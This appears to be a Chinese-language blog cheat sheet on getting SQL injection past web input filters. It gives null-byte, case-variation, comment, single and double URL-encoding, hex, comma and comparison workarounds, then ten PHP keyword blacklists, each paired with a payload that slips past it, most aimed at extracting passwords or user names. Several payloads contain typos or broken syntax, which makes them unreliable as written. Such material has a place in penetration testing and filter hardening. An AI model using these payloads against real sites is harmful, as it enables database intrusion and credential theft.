SQL注入绕过

使用空字节

要想执行空字节攻击,只需在过滤器阻止的字符前面提供一个采用URL编码的空字节即可。

%00' union select password from tblUsers where username='admin' --+

大小写变种

如果某些关键字过滤器不够聪明,可以使用变换攻击字符串中字符的大小来避开

'uNiOn SeLeCt password frOm tblUsers WhErE usermane="admin" --+

注释绕过

使用内联注释序列创建SQL代码段

' /**/union/**/select/**/password/**/from/**/tblusers/**/where/**/username/**/like/**/'admin' --+ 

URL编码绕过

2007年PHP-Nuke发现有一个漏洞所使用的过滤器能阻止空白符和内敛注释/* ,但无法组织以注释序列所表示的URL编码。

' %2f%2a*/union%2f%2a*/select%2f%2a*/password%2f%2a*/from%2f%2a*/tblusers%2f%2a*/where%2f%2a*/username%2f%2a*/like%2f%2a*/'admin'--+ 

这种基本的URL编码攻击对其他情况不起作用,不过仍可以通过对被阻止的字符进行双URL编码来避开过滤器。

' %252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/tblusers%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'--+ 
双url编码有时会起作用

引号绕过

select table_name from information_schema.tables where table_schema="example"

如果引号被过滤是没办法进行过滤的,这时候可以转换为十六进制

select table_name from information_schema.tables where table_schema=0x6578616d706c65

逗号绕过

在使用盲注的时候,需要使用到 substr() ,mid(),limit。这些子句方法都需要使用到逗号。对于 substr() 和mid()这两个方法可以使用 from to 的方式来解决
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);

对于limit可以使用offset绕过

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

比较符(<,>)绕过

如果无法使用比较操作符,那么就需要使用greatest来进行过滤

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

嵌套剥离后的表达式

有些审查过滤器会先从用户输入中剥离特定的字符或表达式,然后在按照常用的方式处理剩下的数据。如果被剥离的表达式中包含两个或以上的字符,就不会递归应用过滤器。通常可以通过在禁止的表达式中嵌套自身来绕过过滤器

selectselect

黑名单绕过

1. 过滤关键字: and,or

php代码

preg_match('/(and|or)/i',$id)

会过滤的代码

1 or 1=1 1 and 1=1

绕过方式

1 || 1=1 1 && 1=1

下面这种方式你需要知道一些表和字段名

2. 过滤关键字: and or union

php代码

preg_match('/(and|or|union)/i',$id)

会过滤的代码

union select user,password from users

绕过方式

1 && (select user from users where user_id=1)='admin'

3. 过滤关键字 and or union where

php代码

preg_match('/(and|or|union)/i',$id)

会过滤的代码

1 && (select user from users where user_id = 1) = 'admin'

绕过方式

1 && (select user from users limit 1) = 'admin'

4. 过滤关键字: and or union where limit

php代码

preg_match('/(and|or|union|where|limit)/i', $id)

会过滤的攻击代码

1 && (select user from users limit 1) = 'admin'

绕过方式

1 && (select user from users group by user_id having user_id = 1) = 'admin'     #user_id聚合中user_id为1的user为admin

5. 过滤关键字: and or union where limit group by

php代码

preg_match('/(and|or|union|where|limit|group by)/i', $id)

会过滤的攻击代码

1 && (select user from users group by user_id having user_id = 1) = 'admin'

绕过方式

1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

6. 过滤关键字: and or union where limit group by select

php代码

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

会过滤的攻击代码

1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1

绕过方式

1 && substr(user,1,1) = 'a'

7. 过滤关键字: and or union where limit group by select '

php代码

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

会过滤的攻击代码

1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1

绕过方式

1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

8. 过滤关键字: and or union where limit group by select ' hex

php代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

会过滤的攻击代码

1 && substr(user,1,1) = unhex(61)

绕过方式

1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

9. 过滤关键字:and or union where limit group by select ' hex substr

php代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

会过滤的攻击代码

1 && substr(user,1,1) = lower(conv(11,10,16))

绕过方式

1 && lpad(user,7,1)

10. 过滤关键字:  and or union where limit group by select ' hex substr 空格

php代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

会过滤的攻击代码

1 && lpad(user,7,1)

绕过方式

1%0b||%0blpad(user,7,1)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值